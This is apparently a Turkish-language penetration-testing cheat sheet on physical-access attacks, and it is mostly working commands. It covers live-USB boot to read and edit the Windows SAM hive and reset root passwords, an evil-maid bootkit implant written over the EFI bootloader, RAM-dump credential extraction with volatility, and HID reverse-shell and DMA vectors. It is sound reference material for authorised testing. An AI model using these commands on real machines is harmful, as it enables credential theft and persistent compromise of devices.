Physical Attacks

hardware physical

Kısa fiziksel erişimde hedef: disk şifresini atlatmak değilse bile oturum, credential cache veya boot zincirinden dayanak üretmektir.

Metodoloji

1. Cihaz durumunu gözlemle (kilitli, BitLocker/FileVault, BIOS şifresi, USB boot).

2. En ucuz vektörü seç: açık oturum HID, boot menü, outbound Ethernet.

3. Live ortam veya evil maid ile kimlik/loot topla.

4. Erişim kanıtını paketle; iz bırakmayı RoE’ye göre yönet.

Boot yüzeyi

# Live USB ile boot (BitLocker yok / recovery key var varsayımı)
lsblk -f

mount /dev/sda2 /mnt

cat /mnt/Windows/System32/config/SAM

chntpw -i /mnt/Windows/System32/config/SAM

# Linux: shadow sıfırlama
passwd root

BIOS şifresi + Secure Boot + disk crypto = boot menü tek başına yetmez

Evil maid

# Initramfs / EFI implant lab örneği
cp evil.efi /mnt/EFI/BOOT/BOOTX64.EFI

dd if=bootkit.img of=/dev/sdX bs=4M status=progress

Sonraki boot'ta credential logger / reverse shell

Cold boot / bellek

# Laboratuvar: RAM dump sonrası
volatility3 -f mem.dmp windows.hashdump

volatility3 -f mem.dmp windows.creds

strings mem.dmp | rg -i 'password|BEGIN RSA|AKIA'

Kısa erişim checklist vektörleri

Açık masaüstü → HID reverse shell
Ekran kilitli + USB boot açık → live OS loot
Ethernet jack → dropbox / reverse tunnel cihazı
Thunderbolt/DMA (eski) → PCILeech

pcileech dump -out mem.raw

Checklist

[ ] kilit / disk crypto / BIOS durumu not edildi
[ ] HID veya boot vektörü denendi
[ ] loot (SAM/shadow/key) alındı veya erişim kanıtlandı
[ ] implant bırakıldıysa konum kaydedildi